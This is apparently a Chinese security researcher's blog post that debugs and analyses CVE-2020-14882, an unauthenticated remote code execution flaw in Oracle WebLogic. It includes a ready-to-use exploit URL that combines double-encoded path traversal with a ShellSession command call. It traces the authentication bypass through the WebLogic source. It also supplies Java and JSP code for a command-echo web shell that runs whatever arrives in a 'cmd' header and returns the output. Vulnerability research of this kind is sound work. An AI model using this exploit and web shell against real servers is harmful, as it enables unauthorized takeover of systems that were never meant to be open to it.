Weblogic CVE-2020-14882调试 && 命令回显分析

Posted by kuron3k0 on November 12, 2020

简介

这是weblogic的一个未授权前台RCE,通过GET请求即可触发,简单粗暴。

复现一下

直接下载了14.1.1.0.0版本的weblogic,payload先搞上

利用成功,太猛了

触发点是com.bea.console.handles.HandleFactorygetHandle,可以调用一个参数是String的构造函数,payload中用的是com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");

调用栈如下:

<init>:114, ShellSession (com.tangosol.coherence.mvel2.sh)
newInstance:-1, GeneratedConstructorAccessor110 (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getHandle:58, HandleFactory (com.bea.console.handles)
init:112, BreadcrumbBacking (com.bea.console.utils)
initializeBackingFile:144, Backable$Impl (com.bea.netuix.servlets.controls)
init:64, AdministeredBackableControl (com.bea.netuix.servlets.controls)
init:236, Window (com.bea.netuix.servlets.controls.window)
init:226, Portlet (com.bea.netuix.servlets.controls.portlet)
visit:99, ControlLifecycle$1 (com.bea.netuix.nf)
walkRecursive:324, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walk:130, ControlTreeWalker (com.bea.netuix.nf)
processLifecycles:399, Lifecycle (com.bea.netuix.nf)
processLifecycles:361, Lifecycle (com.bea.netuix.nf)
processLifecycles:352, Lifecycle (com.bea.netuix.nf)
runInbound:184, Lifecycle (com.bea.netuix.nf)
run:159, Lifecycle (com.bea.netuix.nf)
runLifecycle:465, UIServlet (com.bea.netuix.servlets.manager)
doPost:291, UIServlet (com.bea.netuix.servlets.manager)
doGet:231, UIServlet (com.bea.netuix.servlets.manager)
service:216, UIServlet (com.bea.netuix.servlets.manager)
service:275, SingleFileServlet (com.bea.netuix.servlets.manager)
service:750, HttpServlet (javax.servlet.http)
service:64, MBeanUtilsInitSingleFileServlet (com.bea.console.utils)
service:125, AsyncInitServlet (weblogic.servlet)
run:295, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
run:260, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:137, StubSecurityHelper (weblogic.servlet.internal)
execute:353, ServletStubImpl (weblogic.servlet.internal)
doFilter:25, TailFilter (weblogic.servlet.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
doFilter:38, ParamFilter (com.bea.console.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
doFilter:32, RequestEventsFilter (weblogic.servlet.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
wrapRun:3866, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3829, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:344, AuthenticatedSubject (weblogic.security.acl.internal)
runAsForUserCode:197, SecurityManager (weblogic.security.service)
runAsForUserCode:203, WlsSecurityProvider (weblogic.servlet.provider)
run:71, WlsSubjectHandle (weblogic.servlet.provider)
processSecuredExecute:2502, WebAppServletContext (weblogic.servlet.internal)
doSecuredExecute:2351, WebAppServletContext (weblogic.servlet.internal)
securedExecute:2326, WebAppServletContext (weblogic.servlet.internal)
execute:2304, WebAppServletContext (weblogic.servlet.internal)
runInternal:1779, ServletRequestImpl (weblogic.servlet.internal)
run:1733, ServletRequestImpl (weblogic.servlet.internal)
run:272, ContainerSupportProviderImpl$WlsRequestExecutor (weblogic.servlet.provider)
_runAs:352, ComponentInvocationContextManager (weblogic.invocation)
runAs:337, ComponentInvocationContextManager (weblogic.invocation)
doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)
runWorkUnderContext:41, PartitionUtility (weblogic.work)
runWorkUnderContext:651, SelfTuningWorkManagerImpl (weblogic.work)
execute:420, ExecuteThread (weblogic.work)
run:360, ExecuteThread (weblogic.work)

漏洞分析

触发的url应该为http://localhost:7001/console/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

找到application.xml,确定触发的入口

web.xml中,解析portal后缀的servlet为AppManagerServlet

其他文章中提到的触发点MBeanUtilsInitSingleFileServlet

跟进AsyncInitServlet

从web进入后调用service方法

此处的delegate是servlet初始化的时候创建的,weblogic.servlet.AsyncInitServlet.servlet-class-name就是web.xml里配置的MBeanUtilsInitSingleFileServlet

后面MBeanUtilsInitSingleFileServlet触发命令执行的地方先不提,来看看权限认证是怎么绕过的。

weblogic接收到请求后,走到SelfTuningWorkManagerImpl,可以看到workAdapter存有我们的请求信息

一路F8,在WebAppServletContextprocessSecuredExecute方法中看到了checkAccess,跟进

首先从constraintsMap中获取了一个资源的集合,然后判断我们输入的url符合其中的哪一条

这里匹配上了/images/的规则

resourceConstraint带着刚刚匹配上的规则,进入isAuthorized函数

最终在hasPermission中,判断ResourceConstraintunrestricted属性,/images/开头的url直接返回true

后面经过一系列的Filter后,调用对应的servlet

调用service方法,这就到了开头的地方了

上下文设置路径,这个时候url还是在编码的状态

进入到getTree函数,在这里有一个对路径做解码的操作

第一次进来getMergedControlFromFile函数,这个时候factoryMap是空的,所以我们根据路径去匹配portal信息是会匹配不上的

所以从factoryMap取出来的rootMcf为空,进入getControlFactoryFromFile函数去找对应的portal文件

最终在getSource中实现了目录穿越,成功访问到console.portal

并将这个url加入缓存

后面就是正常的执行流程,到达对应的servlet后,调用我们写入的com.tangosol.coherence.mvel2.sh.ShellSession类,实现命令执行

命令回显

这里也分析一下weblogic的命令回显,相对于其他中间件,weblogic可以比较简单的获取request和response对象

随便访问一个url,进来到ExecuteThread的execute函数,可以看到workadapter中的connectionHandler属性保存着request和response对象,所以问题转换为获取workadapter对象,而ExecuteThread有一个getCurrentWork方法就可以获取到这个adapter

weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork();

获取workadapter中的connectionHandler

java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

从connectionHandler中得到request和response对象

weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)obj.getClass().getMethod("getServletResponse").invoke(obj);
 

从http头取命令,执行后写到response中

String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd");
if(cmd != null && !cmd.isEmpty()){
    String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}

jsp代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork();
    java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
    field.setAccessible(true);
    Object obj = field.get(adapter);
    weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)obj.getClass().getMethod("getServletResponse").invoke(obj);
    String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd");
    if(cmd != null && !cmd.isEmpty()){
        String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
        res.getServletOutputStream().flush();
        res.getWriter().write("");
    }

%>

但是这个不在jsp的时候是无效的。在ServletResponseImpl下断点,打开一个正常的请求看看是怎么样的

可以看到系统是从调用request对象的getResponse方法去拿response对象,但是connectionHandler从getServletResponse方法中取的response对象的地址跟前者是一样的(都是44f58803)

可能是理解有问题吧。。暂时还搞不清楚是什么情况,不通过jsp的时候只能用request取response进行回显

Reference